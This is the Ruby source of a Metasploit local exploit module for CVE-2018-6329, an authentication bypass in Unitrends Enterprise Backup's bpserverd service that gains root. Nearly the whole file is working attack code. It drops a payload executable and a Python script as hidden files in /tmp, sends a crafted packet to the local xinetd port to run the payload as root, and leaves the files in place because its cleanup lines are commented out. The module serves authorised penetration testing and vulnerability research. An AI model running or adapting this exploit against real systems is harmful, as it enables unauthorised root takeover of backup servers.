## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, { 'Name' => 'Unitrends Enterprise Backup bpserverd Privilege Escalation', 'Description' => %q{ It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd, has an issue in which its authentication can be bypassed. A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system. This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the localhost by dropping a python script on the local file system. Unitrends stopped bpserverd from listening remotely on version 10. }, 'License' => MSF_LICENSE, 'Author' => [ 'Cale Smith', # @0xC413 'Benny Husted', # @BennyHusted 'Jared Arave', # @iotennui 'h00die' # msf adaptations ], 'DisclosureDate' => 'Mar 14 2018', 'Platform' => 'linux', 'Arch' => [ARCH_X86], 'References' => [ ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000005691'], ['URL', 'http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html'], ['EDB', '44297'], ['CVE', '2018-6329'] ], 'Targets' => [ [ 'UEB <= 10.0', { } ] ], 'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 2 }, 'SessionTypes' => ['shell', 'meterpreter'], 'DefaultTarget' => 0 } )) register_advanced_options([ OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]), OptInt.new("BPSERVERDPORT", [true, "Port bpserverd is running on", 1743]) ]) end def exploit pl = generate_payload_exe exe_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}" print_status("Writing payload executable to '#{exe_path}'") write_file(exe_path, pl) #register_file_for_cleanup(exe_path) pe_script = %Q{ import socket import binascii import struct import time import sys RHOST = '127.0.0.1' XINETDPORT = #{datastore['BPSERVERDPORT']} cmd = "#{exe_path}" def recv_timeout(the_socket,timeout=2): the_socket.setblocking(0) total_data=[];data='';begin=time.time() while 1: #if you got some data, then break after wait sec if total_data and time.time()-begin>timeout: break #if you got no data at all, wait a little longer elif time.time()-begin>timeout*2: break try: data=the_socket.recv(8192) if data: total_data.append(data) begin=time.time() else: time.sleep(0.1) except: pass return ''.join(total_data) print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT)) try: s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((RHOST,XINETDPORT)) except: print "[!] Failed to connect!" exit() data = s1.recv(4096) bpd_port = int(data[-8:-3]) try: pass s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect((RHOST, bpd_port)) except: print "[!] Failed to connect!" s1.close() exit() print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT)) print "[+] '{0}'".format(cmd) cmd_len = chr(len(cmd) + 3) packet_len = chr(len(cmd) + 23) #https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/modules/exploits/linux/misc/ueb9_bpserverd.rb#L72 packet = '\\xa5\\x52\\x00\\x2d' packet += '\\x00' * 3 packet += packet_len packet += '\\x00' * 3 packet += '\\x01' packet += '\\x00' * 3 packet += '\\x4c' packet += '\\x00' * 3 packet += cmd_len packet += cmd packet += '\\x00' * 3 s1.send(packet) data = recv_timeout(s2) print data s1.close() } pes_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}" print_status("Writing privesc script to '#{pes_path}'") write_file(pes_path, pe_script) #register_file_for_cleanup(pes_path) print_status("Fixing permissions") cmd_exec("chmod +x #{exe_path} #{pes_path}") vprint_status cmd_exec("python #{pes_path} -c '#{exe_path}'") end end